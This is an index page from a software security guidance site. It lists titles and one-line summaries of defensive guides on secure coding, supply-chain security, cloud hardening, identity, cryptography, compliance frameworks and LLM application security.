Software Securityhome
Fix a findingSearch
Guides

Every item in the library

Every guide, fix card, workflow, learning path, lab, project, tool and glossary term on one page, grouped by type.

600 items, grouped by type. The library filters them by topic, type, stack or platform and standard.

Guides 169

AppSec · Secure coding

Prevent XSS at the output boundary

Choose text rendering, context-aware encoding, or deliberate HTML sanitization according to how the browser will interpret the value.AppSec · Secure coding

Handle failures without leaking internals or weakening controls

Give callers a useful, bounded response while preserving protected diagnostic evidence and safe application state.AppSec · Secure coding

Ship without debug modes, verbose errors or exposed files

Turn off debug output, publish an allowlisted build and probe each deployment for exposed files and endpoints.AppSec · Secure coding

Keep untrusted values out of executable syntax

Choose a safe interface for each interpreter and bound the work performed by parsers and converters.AppSec · Secure coding

Run external programs without command or argument injection

Run programs from an argument list with no shell, end options before user values, and keep untrusted arguments away from Windows batch files.AppSec · Secure coding

Keep untrusted input out of eval, expression languages and templates

Keep code and templates constant, pass input as data, and treat in-process sandboxes as one layer, not a boundary.AppSec · Secure coding

Preserve framework security controls across the request lifecycle

Trace middleware, persistence and rendering so custom code does not bypass the protections supplied by the framework.AppSec · Secure coding

Parse bounded JSON and XML into an explicit application schema

Separate parser capabilities from schema rules, reject ambiguous and coercible inputs, and implement the boundary in a complete Python project.AppSec · Secure coding

Keep untrusted object keys out of prototype and authority paths

Trace an actual nested-merge mutation, replace it with a narrow schema, and make authorization independent of inherited properties.AppSec · Secure coding

Prevent CRLF header injection, log forging and CSV formula injection

Carriage return and line feed separate HTTP header fields, log records and CSV rows, and a leading = turns a spreadsheet cell into a formula. Let the framework write headers, log structured JSON, and neutralize formula triggers in exports.AppSec · Secure coding

Prevent NoSQL, LDAP, XPath and expression-language injection

SQL is not the only query language that receives user input. Stop MongoDB operator injection with type checks and $eq, escape LDAP filter values, pass XPath values as variables, and never evaluate SpEL or OGNL built from request data.AppSec · Secure coding

Validate input safely and prevent regex denial of service

Find and fix exponential and quadratic regex backtracking with measured examples, choose linear-time engines or timeouts, and build allowlist validation that decodes once and rejects type confusion and parameter pollution.AppSec · Secure coding

Prevent file inclusion: LFI, RFI, dynamic imports and template names

Stop request data from choosing which file, module or template your application loads: local and remote file inclusion in PHP, dynamic require() and import() in Node.js, importlib and template names in Python, Thymeleaf view names in Spring, render in Rails, and the allowlist fix that works in all of them.AppSec · Secure coding

Create temporary files safely: mkstemp, O_EXCL and private directories

Stop symlink, hardlink and pre-created-file attacks on the temporary files your code writes in shared directories such as /tmp: create each file atomically with O_EXCL and owner-only permissions through mkstemp or its equivalent in shell, Python, Java, Node.js, Go, .NET and Rust, keep related files in a private directory, and treat the Linux protected_* sysctls and systemd PrivateTmp as a backstop.AppSec · Languages and memory safety

Find, fix and contain memory-safety bugs in C and C++

Recognize out-of-bounds access, use after free, NULL dereference and integer overflow in C and C++, fix them with checked lengths and single ownership, harden release builds, catch the rest with sanitizers and fuzzing, and plan new code in a memory-safe language.AppSec · Languages and memory safety

Audit unsafe Rust, FFI boundaries and crate dependencies

Know what the Rust compiler proves and what it leaves to you: review unsafe code for soundness, wrap foreign calls in small safe functions, decide how overflow and panics behave in release builds, gate crates with RustSec, and replace C one boundary at a time.AppSec · Access control

Enforce authorization for every object action

Authorize the authenticated subject, requested operation, and specific resource together; a valid login or unpredictable identifier is insufficient.AppSec · Access control

Authorize functions and fields as well as objects

Prevent mass assignment, sensitive-field exposure and administrative actions that a valid object lookup alone cannot protect.AppSec · Browser security

Protect cookie-authenticated actions against CSRF

Make the server distinguish an intended action from a request another site caused the browser to send.AppSec · Browser security

Configure CORS and CSP around the browser capabilities you need

Control who can read API responses and which resources a page may execute without confusing either control with authorization.AppSec · Browser security

Render rich text without granting it application privileges

Choose text rendering or a restricted HTML policy, then test the final DOM after every transformation.AppSec · Browser security

Prevent DOM XSS, postMessage abuse and client-side injection

Trace attacker-controlled values from the URL, messages and storage to the browser APIs that parse HTML or run code, then close those sinks with safe APIs, a sanitizer, Trusted Types and strict message checks.AppSec · Browser security

Configure HTTP security headers from a tested baseline

Send the response headers that make browsers enforce HTTPS, run only your own scripts, refuse hostile framing and keep cookies on one host, then prove they appear on every kind of response.AppSec · Secure features

Design a safer file-upload pipeline

Treat upload receipt, content processing, storage, and later delivery as separate security decisions.AppSec · Secure features

Verify webhook deliveries before acting

Verify the provider’s signature over the correct bytes, then apply replay, authorization, and idempotency controls before a business action.AppSec · Secure features

Constrain server-side fetches to their intended destinations

Prevent untrusted URLs from turning a preview, import, or webhook feature into access to internal services.AppSec · Secure features

Preserve business invariants under concurrent requests

Make a balance, reservation or approval rule hold when requests overlap, retry and fail halfway through.AppSec · Secure features

Extract archives without escaping the destination

Prevent traversal, link tricks, overwrites and decompression exhaustion while preserving legitimate file extraction.AppSec · Secure features

Convert untrusted office documents and PDFs in an isolated parser

DOCX, XLSX and ODF files are ZIP archives of XML, and PDFs can carry scripts; the converters that read them are large C and C++ programs with a long CVE history. Check the package before any parser reads it, convert each document in a container with no network, no writable root and hard limits, kill it at a deadline, and re-render to pixels when people will open the result.AppSec · Secure features

Secure WebRTC signaling, TURN relays and media servers

WebRTC encrypts media, but signaling decides whose keys you trust and TURN relays wherever it is allowed. Authorize every signaling message, mint short-lived TURN credentials, deny internal addresses and harden media servers.AppSec · Secure features

Prevent business-logic flaws with server-side invariants

Recompute prices on the server, run workflows as state machines, build reset links from configuration, limit valuable flows, and turn each business rule into an invariant that the database and the tests both check.AppSec · Secure features

Redirect users only to destinations you control

Check every redirect target taken from a request, so attackers cannot borrow your domain for phishing, carry OAuth tokens off-site or steer a server-side fetcher through your redirects.AppSec · Secure features

Consume third-party APIs safely (OWASP API10:2023)

Treat every upstream and third-party API response as untrusted input: validate it against a schema, set connect and read timeouts, cap the response size, refuse to follow redirects blindly, keep TLS verification on, and scope the credentials you hold for each provider.AppSec · Design and code review

Review tenant boundaries before implementation

Trace tenant identity through requests, data stores, caches, jobs, and administration, then turn plausible isolation failures into tests.AppSec · Design and code review

Review a code change through its trust boundaries

Turn a pull request into a small set of security claims that can be checked against the surrounding system and tests.AppSec · Design and code review

Choose a threat modeling method and turn its findings into tests

Use the four-question frame to scope a design, pick STRIDE, attack trees, LINDDUN or PASTA by the question you need answered, and leave behind threat records and abuse-case tests the team can run.AppSec · Design and code review

Write testable security requirements and a security Definition of Done

Derive security requirements from OWASP ASVS 5.0, abuse cases and the threat model, write them as acceptance criteria a test can fail, trace each one to a test or evidence, and close stories against a short security Definition of Done.AppSec · Design and code review

Worked threat model: a mobile banking app

A complete worked threat model for a mobile banking-style app: the data-flow diagram and its elements, STRIDE threats on the client, the transport and the backend, and the mitigations mapped to OWASP MASVS v2 controls and current Android and iOS platform APIs.AppSec · Design and code review

Worked threat model: an LLM agent with tools

A complete worked threat model for an LLM agent with tools: the data-flow diagram, the threats from prompt injection, excessive agency, data exfiltration, confused-deputy and memory poisoning, and the mitigations, mapped to the OWASP Top 10 for LLM Applications 2026 and the OWASP Top 10 for Agentic Applications 2026.AppSec · Security testing

Combine static and dynamic tests around a verified finding

Use analysis tools to find evidence, then retain an application regression that demonstrates the failure and the fix.AppSec · Security testing

Fuzz a parser and turn crashes into lasting regressions

Build a narrow harness, observe memory and resource failures, minimize the input, and test the repaired parser.AppSec · Security testing

Place each security control in the pipeline and decide what it blocks

Put secrets scanning, SAST, SCA, IaC and image scanning, DAST, fuzzing, attestation and admission control where each sees the right input, block only on findings a developer can act on, and deploy only images the pipeline has attested.AppSec · Security testing

Choose and evaluate application security testing tools

What SAST, DAST, IAST, SCA, secrets, IaC, container and API scanners and ASPM each find and miss, where each runs, how to evaluate them on a seeded repository with per-CWE scoring and triage cost, and which to adopt first.AppSec · Mobile, desktop, embedded and smart contracts

Review trust boundaries in mobile and native clients

Protect local data and platform interactions while keeping server-side authorization independent of the client’s behavior.AppSec · Mobile, desktop, embedded and smart contracts

Review mobile storage, links and platform permissions

Keep local artifacts and platform entry points from exposing authority that belongs on the server.AppSec · Mobile, desktop, embedded and smart contracts

Constrain desktop IPC and privileged helpers

Keep renderer content, local callers and plugins from turning a narrow feature into unrestricted operating-system access.AppSec · Mobile, desktop, embedded and smart contracts

Design firmware updates that can recover safely

Connect trusted boot, update authorization, rollback policy and end-of-life behavior to the device’s actual failure modes.AppSec · Mobile, desktop, embedded and smart contracts

Test smart contracts through state invariants

Define the properties funds and privileges must preserve, then exercise callbacks, transaction sequences and exceptional conditions locally.AppSec · Mobile, desktop, embedded and smart contracts

Harden an Android app's storage, network and entry points

Encrypt local secrets with Android Keystore keys now that Jetpack Security is deprecated, set transport policy in Network Security Configuration, close exported components and mutable PendingIntents, confine WebViews, verify App Links and judge Play Integrity verdicts on the server, mapped to OWASP MASVS 2.1.AppSec · Mobile, desktop, embedded and smart contracts

Harden an iOS app's storage, network and entry points

Store secrets in the Keychain with the narrowest accessibility class, set file protection explicitly, keep App Transport Security on, prefer universal links, constrain WKWebView bridges, keep step-up keys in the Secure Enclave, verify App Attest on the server and ship an accurate privacy manifest, mapped to OWASP MASVS 2.1.AppSec · Mobile, desktop, embedded and smart contracts

DeFi attack patterns: oracles, flash loans, proxies and signatures

The four smart-contract attack classes beyond reentrancy: price-oracle manipulation, flash-loan amplification, upgradeable-proxy storage collisions and uninitialized implementations, and signature replay, each with vulnerable and fixed Solidity, Foundry tests and verified incidents.AppSec · Vulnerability response

Respond to an exploited or malicious dependency

When a dependency vulnerability is being exploited, or a package version is malicious, triage gives way to incident response: find every running copy, contain it, patch and redeploy, hunt for exploitation, rotate secrets and close on deployed evidence.AppSec · Vulnerability response

Run coordinated vulnerability disclosure from report to advisory

Make private reporting discoverable, verify reports, coordinate a tested remedy, and give affected users enough information to act.AppSec · Vulnerability response

Start with a VDP, then add bug bounties and penetration tests

Publish a vulnerability disclosure policy and security.txt first, add a bug bounty only when you can triage and fix at the pace rewards bring, and buy penetration tests with a written scope, rules of engagement and a retest.AppSec · Vulnerability response

Set up a PSIRT: services, intake, triage, SLAs and the CNA role

How to structure and run a product security incident response team on the FIRST PSIRT Services Framework: organizational models, intake channels, triage, response targets, a case record and SLA script, becoming a CVE Numbering Authority under the CNA rules 4.2.0, and coordinating with other vendors.AppSec · Vulnerability response

Publish security advisories with CSAF, VEX, CVE records and OSV

What a useful security advisory contains and how to publish it in the formats tools read: a validated CSAF 2.0 VEX document, the CSAF provider files, CVE records through a CNA (CVE Record Format 5.2), and OSV records for open-source packages. Covers the status of CSAF 2.1 as of October 2026.AppSec · Vulnerability response

Respond to product security incidents: plan, tabletop and postmortem

An incident response plan for product security incidents (exploited vulnerabilities, compromised releases, leaked signing keys, malicious dependencies shipped to customers), aligned with NIST SP 800-61 Rev. 3, with reporting clocks, a two-scenario tabletop exercise template and a blameless postmortem template.Supply chain · SBOMs

Generate an SBOM for the software you actually release

Define the inventory boundary, compare build and artifact evidence, and connect the resulting SBOM to an immutable release.Supply chain · SBOMs

Choose SBOM formats and identify components accurately

Separate schema versions, document references and package identities so inventory conversion and advisory matching preserve meaning.Supply chain · SBOMs

Review SBOM changes between releases

Turn inventory differences into explainable release decisions without confusing generator changes with software changes.Supply chain · Dependencies and VEX

Triage new dependency vulnerability findings

Turn a weekly batch of Dependabot, OSV-Scanner or npm audit findings into a short list of distinct, shipped, reachable issues, each routed to one outcome: fix, not affected, accept or escalate.Supply chain · Dependencies and VEX

Investigate a suspected malicious package safely

Distinguish package substitution, publisher compromise and dangerous installation behavior while containing exposure and preserving evidence.Supply chain · Dependencies and VEX

Use VEX without losing vulnerability evidence

Produce and consume precise vulnerability status statements tied to the product, version, justification and evidence.Supply chain · Dependencies and VEX

Review dependency health without treating a score as a guarantee

Combine security practices, maintenance, licensing and product exposure into a recorded adoption or replacement decision.Supply chain · Dependencies and VEX

Stop dependency confusion and typosquatting at install time

Pin every internal package name to its real source, verify installed bytes against a lockfile, and delay or gate install scripts so a public look-alike cannot replace a private dependency.Supply chain · Dependencies and VEX

Open source license compliance: SPDX expressions, obligations and SBOM checks

Know which licenses you ship, read SPDX license expressions correctly, meet the obligations of common licenses for the way you distribute, and enforce a license policy in CI from the SBOM.Supply chain · Dependencies and VEX

Adopt the OpenSSF S2C2F as a consumer: the eight practices, the four maturity levels and a staged plan with evidence

Assess how your organization takes in open source against the Secure Supply Chain Consumption Framework's 25 requirements, then reach each maturity level in turn with evidence an assessor can check.Supply chain · CI/CD and builds

Protect the path from pull request to release

Separate untrusted contribution checks from privileged release work and verify the identity of the artifact that is actually deployed.Supply chain · CI/CD and builds

Keep untrusted CI work outside the release boundary

Review workflow authority, persistent state and artifact handoffs before contributor-controlled code reaches privileged jobs.Supply chain · CI/CD and builds

Investigate build differences and improve reproducibility

Control inputs and environment, compare artifact bytes, and explain the security properties a repeatable build can demonstrate.Supply chain · CI/CD and builds

Harden GitHub Actions against workflow and supply-chain attacks

Close the paths that give untrusted pull-request code secrets or a write token: pass context through env, keep pull_request_target away from fork code, pin actions to commit SHAs, scope GITHUB_TOKEN and OIDC, and treat artifacts as data.Supply chain · CI/CD and builds

Protect the source repository: rulesets, reviews and signed commits

Configure the controls every repository that ships software needs: protected branches and tags, required review with CODEOWNERS, signed commits, secret push protection and account security, mapped to the SLSA Source track, the OpenSSF OSPS Baseline and Scorecard.Supply chain · CI/CD and builds

Secure the developer workstation: extensions, package managers, secrets and AI agents

Attackers reach the software supply chain through developers' editors, package installs and AI agents. Allow-list extensions, stop install scripts and brand-new versions, keep long-lived secrets off laptops, and lock down repository files that run code when a project opens.Supply chain · CI/CD and builds

Meet the OpenSSF OSPS Baseline as a maintainer: the levels, every Level 1 control on GitHub, and the evidence

Walk through the eight control families and three maturity levels of OSPS Baseline v2026.08.28, meet each Level 1 requirement on a GitHub repository, and keep evidence a consumer can check.Supply chain · Signing, provenance and releases

Verify artifact signatures against an explicit trust policy

Require the expected artifact, signer and release context before allowing a signed package or image to proceed.Supply chain · Signing, provenance and releases

Read SLSA provenance and verify the claim you need

Connect an artifact to its build evidence while distinguishing provenance, build assurance and source controls.Supply chain · Signing, provenance and releases

Protect package publication and the update channel

Constrain release identities, verify what consumers receive, and prepare for publisher or update-key compromise.Supply chain · Signing, provenance and releases

Staged rollout and rollback for security-critical updates

Ship security fixes, detection content and configuration quickly without taking the fleet down: rollout rings and canaries, content validation, kill switches and rollback that works on a broken host.Runtime & cloud · APIs and background work

Bound API work, not just request counts

Protect availability and operating cost with limits on input, per-request work, concurrency, queues, and downstream spending.Runtime & cloud · APIs and background work

Maintain an API inventory and prevent gateway bypass

Connect documented routes, deployed listeners and backend trust so retired or direct paths do not bypass the intended controls.Runtime & cloud · APIs and background work

Apply security limits to GraphQL, WebSocket and gRPC operations

Carry authorization and resource budgets past the initial HTTP request into resolvers, messages and long-lived streams.Runtime & cloud · APIs and background work

Bound background jobs and make retries safe

Keep queues, workers and paid dependencies within a defined budget when clients retry, cancel or disappear.Runtime & cloud · APIs and background work

Keep HTTP services up under application-layer DDoS

Bound every phase of an HTTP request, patch for the HTTP/2 attack classes, rate limit at the edge and the origin, and shed load deliberately, with nginx, Envoy and Node.js settings tested against slow clients and bursts.Runtime & cloud · Cloud and infrastructure as code

Review infrastructure changes as access changes

Inspect the effective permissions, exposure, sensitive state, and recovery implications of a proposed infrastructure change.Runtime & cloud · Cloud and infrastructure as code

Review cloud permissions and role trust together

Distinguish who can obtain a cloud identity from what that identity can do, then test the effective access path.Runtime & cloud · Cloud and infrastructure as code

Test infrastructure policy and detect security-relevant drift

Connect source configuration, the proposed plan and deployed resources so a safe review does not become stale after deployment.Runtime & cloud · Cloud and infrastructure as code

Prevent subdomain takeover from dangling DNS records

A DNS record that outlives its cloud resource lets whoever claims the name serve content on your domain. Bind records to resources in IaC, remove the record first, verify domains and scan for dangling records.Runtime & cloud · Cloud and infrastructure as code

Apply a security baseline across AWS, Azure and Google Cloud

Give workloads platform identities instead of keys, guard the instance metadata endpoint, block public storage, keep audit logs past the default retention, close inbound admin ports and use the native secret store, with tested Terraform for AWS, Azure and Google Cloud.Runtime & cloud · Cloud and infrastructure as code

Choose cloud security posture tools and apply zero trust

What CSPM, CWPP, CIEM, CNAPP, DSPM and ASPM each find and miss, how they overlap, how to evaluate one on your own accounts, and how zero trust as defined in NIST SP 800-207 uses what they measure.Runtime & cloud · Containers, Kubernetes and service identity

Run Kubernetes workloads with only the privileges they need

Review pod settings, service accounts and effective permissions together before treating a namespace as an isolation boundary.Runtime & cloud · Containers, Kubernetes and service identity

Prove network and admission policies enforce the intended boundary

Verify allowed traffic and rejected deployments in the cluster instead of treating policy files as evidence of isolation.Runtime & cloud · Containers, Kubernetes and service identity

Authenticate workloads and authorize their service actions

Use service identities, mutual TLS and function permissions without mistaking an encrypted connection for complete authorization.Runtime & cloud · Containers, Kubernetes and service identity

Harden managed Kubernetes on EKS, AKS and GKE

Know what your provider secures and what you still own, then lock down API access, cloud identity, nodes, pod privileges and admission with settings that are generally available in Kubernetes 1.37, checked against the CIS and NSA/CISA baselines.Runtime & cloud · Containers, Kubernetes and service identity

Harden container images from Dockerfile to admission

Build minimal, non-root images pinned by digest, keep secrets out of every layer, then scan, sign and verify the exact digest before it runs with dropped privileges.Runtime & cloud · Containers, Kubernetes and service identity

Harden the images you ship against CIS, STIG and SCAP benchmarks

Hold each image your team ships (container base images, golden VM images, Kubernetes node images) to a published benchmark through a pinned SCAP Security Guide profile, scan every build with OpenSCAP, and fail the build on any failure that a deviation register does not explain with an owner, an approver and an expiry.Runtime & cloud · Proxies, CDNs and edge rules

Operate edge rules without hiding application defects

Tune WAF and abuse controls against legitimate traffic, parser behavior and measurable business effects.Runtime & cloud · Proxies, CDNs and edge rules

Keep HTTP request boundaries consistent across intermediaries

Trace framing disagreements, reject ambiguous requests and verify what reaches the origin with a real loopback proxy project.Runtime & cloud · Proxies, CDNs and edge rules

Prevent shared-cache poisoning and private-response deception

Define lookup and storage policy, trace cache/origin interpretation differences and verify both public reuse and private isolation.Runtime & cloud · Detection and response

Create security logs someone can investigate

Record meaningful decisions with consistent structure, protect the resulting evidence, and prove that important events reach an operational owner.Runtime & cloud · Detection and response

Turn runtime events into a tested investigation and containment path

Collect evidence that answers a concrete security question and rehearse the response without destroying the facts needed to investigate.Runtime & cloud · Detection and response

Detect container and host threats at runtime with eBPF sensors and cloud services

Watch process, file and network activity inside containers with an eBPF sensor or a managed cloud agent, write and test rules for the attacks you expect, tune them with narrow exceptions and contain a compromised pod without destroying evidence.Identity & crypto · Sign-in, sessions and recovery

Session management: cookies, timeouts, rotation and revocation

Model authentication as transitions in server authority, set session cookies and timeouts to current NIST and OWASP values, and verify fixation prevention, expiry, reauthentication, revocation and stolen-cookie defenses.Identity & crypto · Sign-in, sessions and recovery

Password storage: hashing parameters and rehash on login

Choose Argon2id, scrypt, PBKDF2 or bcrypt with current minimum parameters, store a versioned hash, and upgrade old hashes after a successful login without overwriting a reset.Identity & crypto · Sign-in, sessions and recovery

Passkeys and MFA: WebAuthn enrollment, sign-in and replacement

Register, verify and replace passkeys with WebAuthn so phishing resistance survives the account’s whole lifecycle, and map passkeys and other MFA methods to the NIST SP 800-63B-4 assurance levels.Identity & crypto · Sign-in, sessions and recovery

Account recovery: password resets, help-desk resets and account linking

Treat password resets, support-desk recovery and account linking as new grants of authority: single-use high-entropy proofs, atomic consumption, session revocation, and stable identity rather than email matching.Identity & crypto · Federation and tokens

OAuth 2.0 and OpenID Connect login: authorization code with PKCE

Implement OAuth 2.0 and OpenID Connect login with the authorization code flow and PKCE, keep each transaction bound to its browser, and block redirect, mix-up, code-injection and token-theft attacks.Identity & crypto · Federation and tokens

JWT validation: algorithms, keys, claims and key rollover

Validate a JWT against a fixed algorithm, trusted keys and the expected issuer, audience and type, reject the known header attacks, and rotate signing keys without accepting arbitrary keys or breaking valid tokens.Identity & crypto · Federation and tokens

SAML single sign-on: verify signed assertions without losing the identity boundary

Bind a validated SAML assertion to its trusted issuer, the exact signed element, your service, the browser request and a replay record before creating a local session, and keep your SAML library ahead of its advisories.Identity & crypto · Federation and tokens

SCIM deprovisioning: make account disablement remove every usable authority

Connect SCIM resource updates to current sessions, tokens, group-derived permissions and background jobs, with explicit tenant mapping, CAEP revocation events and a measurable revocation contract.Identity & crypto · Federation and tokens

Defend JWTs against forgery, confusion and replay

Verify a JWT as an issuer-, type- and audience-bound assertion with an algorithm allowlist and trusted keys, closing the alg "none", key-confusion, header-injection, weak-secret and replay attacks.Identity & crypto · Federation and tokens

Stop account takeover with the right MFA and login defenses

Rank MFA options by the attacks they stop, implement TOTP and push approvals correctly, and close the login, reset and recovery paths that attackers use instead of breaking the second factor.Identity & crypto · Federation and tokens

Defend OAuth and OIDC against redirect and token attacks

Apply RFC 9700 and RFC 10017: exact redirect matching, PKCE with downgrade protection, state and iss binding, refresh-token rotation, sender-constrained tokens, and a backend-for-frontend so browser tokens cannot be stolen.Identity & crypto · Authorization and workload identity

Workload identity federation: short-lived, scoped identities for services and CI

Trace how a running workload obtains a short-lived identity, write cloud trust policies that match immutable claims instead of names or wildcards, and keep the resulting credential limited by audience and authorization.Identity & crypto · Authorization and workload identity

Authorization models: RBAC, ABAC, ReBAC and policy as code you can test

Translate roles, attributes and relationships into explicit subject-action-resource decisions, prevent broken object level authorization (BOLA), and verify ownership and tenant boundaries with tests.Identity & crypto · Encryption, keys and secrets

Secrets management: storage, rotation and leaked-secret response

Follow one application credential from issuance through caching, rotation, revocation and restored backups, prove that its old value stops working, and respond correctly when a secret leaks.Identity & crypto · Encryption, keys and secrets

AEAD records: AES-GCM nonces, associated data and key limits

Build an encrypted record whose tag binds ciphertext to the intended tenant, record, purpose and format, keep nonces unique within each key’s usage limit, and verify the design with actual AES-GCM.Identity & crypto · Encryption, keys and secrets

Envelope encryption and key rotation: data keys, KMS keys and backups

Encrypt each record with its own data key, wrap that key in a KMS or HSM key, and keep wrapping-key rotation, data re-encryption, key deletion and restored backups as separate, tested operations.Identity & crypto · Encryption, keys and secrets

Operate TLS and certificates: configuration, renewal and verification

Configure a modern TLS profile with hybrid post-quantum key exchange, automate renewal for certificate lifetimes that fall to 47 days, and verify every termination point with a fresh handshake.Identity & crypto · Encryption, keys and secrets

Post-quantum migration: cryptographic inventory, hybrid TLS and deadlines

Inventory public-key cryptography by operation, owner and lifetime, turn on hybrid ML-KEM key exchange where it is already available, and plan signature and archive migration against the NIST, NSA, NCSC and EU dates.Identity & crypto · Encryption, keys and secrets

Secrets at runtime: Vault, Kubernetes Secrets, CSI driver, External Secrets and SOPS

How a running workload should get its credentials: encrypt Kubernetes Secrets with a KMS v2 provider and lock down RBAC, mount from an external store with the Secrets Store CSI Driver, sync with External Secrets Operator, issue dynamic credentials with Vault and its Agent Injector, keep Git copies encrypted with SOPS, and make rotation reach the process.Identity & crypto · Privacy engineering

Data minimization and retention: collect less and prove that deletion works

Design collection and deletion around a data-flow graph that includes logs, derived tables, exports and restored backups, and use per-person keys so deletion can reach copies you cannot edit.Identity & crypto · Privacy engineering

Tokenization, pseudonymization and privacy transformations: choose deliberately

Choose between vault tokens, keyed pseudonyms, format-preserving encryption, aggregation and differential privacy by the joins, reversibility and leakage each allows, and test re-identification on the data you release.Governance · Programs and operations

Start a minimal AppSec program with owners, triggers and metrics

Begin with ownership, a few risk-triggered activities, and evidence that findings are resolved; expand from demonstrated needs.Governance · Programs and operations

Run an AppSec program: owners, finding states, deadlines and champions

Translate a security baseline into service ownership, change triggers, reusable patterns and evidence that work reaches deployment.Governance · Programs and operations

Run a security champions program with protected time and outcome metrics

Put a trained engineer with protected hours in every in-scope team, write the role into a one-page charter, route sensitive changes and findings through champions and AppSec, and judge the program by coverage and outcomes instead of attendance.Governance · Programs and operations

Prioritize vulnerabilities by exploitation, exposure and impact

Rank vulnerabilities with CISA KEV, EPSS, CVSS 4.0 vectors and SSVC decision points, adjust for presence, reachability and asset value, and turn the result into due dates. Covers NVD's 2026 enrichment changes and CISA BOD 26-04.Governance · Programs and operations

Set remediation SLAs and measure AppSec outcomes

Set vulnerability SLAs by exploitation and exposure, route misses through expiring exceptions, and measure the program with cohort-based, censoring-aware metrics that resist gaming.Governance · Programs and operations

Approve, expire and measure security exceptions without hiding risk

Keep temporary acceptance separate from remediation and measure outcomes using definitions that survive changing visibility.Governance · Programs and operations

Run a developer security training program that changes code

Build role-based, hands-on developer security training from this site's learning paths, labs and fix cards, meet PCI DSS 6.2.2, NIST SSDF PO.2.2 and ISO/IEC 27001 A.6.3 with real evidence, and measure the effect with repeat findings instead of completion rates.Governance · Programs and operations

Build an application security career: roles, skills, portfolio and certifications

The main application security role tracks (AppSec engineer, product security engineer, security champion, platform security engineer, security architect), the skills expected at each level, how to build a portfolio a hiring team can verify using this site's labs, projects and fix cards, and what common certifications do and do not show.Governance · Frameworks and verification

Apply NIST SSDF (SP 800-218) to one product: practices, evidence and attestation in 2026

Connect secure-development practices to an actual product’s work, artifacts and responsibilities instead of a questionnaire full of unsupported yes answers.Governance · Frameworks and verification

Run an OWASP SAMM assessment with evidence and a practical roadmap

Use OWASP SAMM to distinguish isolated successes from repeatable practices and choose improvements the organization can sustain.Governance · Frameworks and verification

ASVS 5.0 verification records: requirement, test and evidence another engineer can repeat

Scope edition-qualified requirements, connect them to implementation and tests, and separate a passing check from an unsupported assurance claim.Governance · Frameworks and verification

ISO 27001, SOC 2, NIST CSF or FedRAMP: choose the framework by the question it answers

Distinguish management systems, technical controls, risk outcomes, independent reports and government cloud requirements before reusing evidence.Governance · Frameworks and verification

Control mapping between frameworks: state the relationship without overstating equivalence

Record exactly how an implementation supports a requirement, which evidence is reusable and which obligations remain unresolved.Governance · Frameworks and verification

SOC 2 for engineering teams: CC6, CC7 and CC8 controls and the evidence auditors test

What a SOC 2 report covers, which Trust Services Criteria engineering owns (CC6 logical access, CC7 system operations, CC8 change management), the controls that meet them in a modern pipeline, and how to export a complete change population for a Type 2 period.Governance · Frameworks and verification

ISO 27001 secure development: Annex A 8.25 to 8.33 as engineering practice and evidence

How ISO/IEC 27001:2022 treats secure development, what the Annex A development controls (8.4, 8.8, 8.9 and 8.25 to 8.33) look like as engineering practice, and how to keep the Statement of Applicability and its evidence honest with checks in code.Governance · Frameworks and verification

NIST CSF 2.0 for product teams: the outcomes you own and the evidence for them

Find the CSF 2.0 outcomes a product team actually owns, including GOVERN and supply-chain risk management (GV.SC), write a current and target profile for one product, and check it against NIST's own catalog in CI.Governance · Frameworks and verification

Compliance evidence reuse: one evidence set for SSDF, PCI DSS, ISO 27001, SOC 2 and the CRA

Keep one set of release-bound engineering evidence (SBOM, provenance, review records, scan results, ASVS results and vulnerability handling) and map it to several frameworks: a worked crosswalk, an evidence index checked in CI with a CSV export, and an OSCAL component definition.Governance · Frameworks and verification

BSIMM vs SAMM vs SSDF: what each is for and which to use

How BSIMM16, OWASP SAMM 2.2.0 and NIST SSDF 1.1 differ, what each measures and does not, a chooser by situation, and a verified SSDF-to-BSIMM16-and-SAMM crosswalk with a script that reports evidence gaps.Governance · Frameworks and verification

Apply CISA Secure by Design: principles, pledge goals and evidence

What CISA's Secure by Design guidance and pledge ask of software manufacturers as of October 2026, and how to turn each of the three principles, the seven pledge goals and the Product Security Bad Practices into engineering actions, metrics and evidence.Governance · Suppliers, products and regulation

Supplier software assurance: check SOC 2 reports, SBOMs and signed updates against your use

Connect supplier claims to product scope, supported versions, release integrity and vulnerability handling before making a procurement decision.Governance · Suppliers, products and regulation

Cyber Resilience Act and payment pages: turn product-security obligations into an engineering evidence plan

Determine the relevant actor, product, market and requirement before connecting CRA or payment-security expectations to implementation work.Governance · Suppliers, products and regulation

Build a runbook for CRA vulnerability and incident reporting

Since 11 September 2026, manufacturers must report actively exploited vulnerabilities and severe incidents through ENISA's Single Reporting Platform within 24 and 72 hours. Decide what is reportable, start the clock at the right moment, file through the platform and keep an evidence trail.Governance · Suppliers, products and regulation

Map PCI DSS Requirement 6 to engineering practice and evidence

Turn PCI DSS v4.0.1 Requirement 6 into engineering work: secure development, review, patching, web-attack protection, payment-page script control and change management, with the records an assessor samples and the parts that became mandatory on 31 March 2025.Governance · Suppliers, products and regulation

GDPR, CCPA, HIPAA or the FTC rule: scope privacy and health-data obligations before choosing controls

Map data, actors and processing purposes to the relevant GDPR, California or HIPAA requirements and preserve uncertainty about applicability.Governance · Suppliers, products and regulation

GDPR privacy by design for engineers: Articles 25, 32 and 35 in code

Turn GDPR data protection by design and by default, security of processing and DPIA triggers into engineering work: a personal-data inventory checked in CI, defaults that collect and share less, a DPIA screen at design time, and access and erasure requests that reach every store.Governance · Suppliers, products and regulation

NIS2 and DORA for software suppliers: what reaches you and the evidence to keep

Work out whether NIS2 applies to your software company directly or only through customers, what Article 21 risk-management measures and DORA's ICT third-party rules ask of suppliers, and how to keep one assurance pack and register data sheet for both.Governance · Suppliers, products and regulation

UK Software Security Code of Practice: the 14 principles as engineering practice

What the UK government's voluntary Software Security Code of Practice (May 2025) asks of software vendors, each of its 14 principles mapped to engineering practice, NIST SSDF and the EU Cyber Resilience Act, and a CI check for the support-period principles.Governance · Suppliers, products and regulation

Regulated product security lifecycles: IEC 62443-4-1, FDA 524B, ISO/SAE 21434 and UN R155/R156

What the secure development lifecycles for industrial, medical and automotive products require, the practices they share (threat modeling, SBOM, vulnerability handling and updates), and how to build that evidence once and package it for each instrument.Governance · Suppliers, products and regulation

Answer a US federal secure software attestation request in 2026: the CISA form, its SSDF mapping and the evidence behind each statement

Know what is and isn't required after OMB M-26-05, then answer an agency's request statement by statement, with the SSDF tasks the form maps and release evidence for each claim.AI security · LLM applications

Contain prompt injection at the application boundary

Assume retrieved content can influence model output; enforce data access and consequential actions in components the model cannot authorize for itself.AI security · LLM applications

Keep retrieval inside the user’s data boundary

Carry document permissions through ingestion, retrieval, caching and citations so a model never receives another tenant’s records.AI security · LLM applications

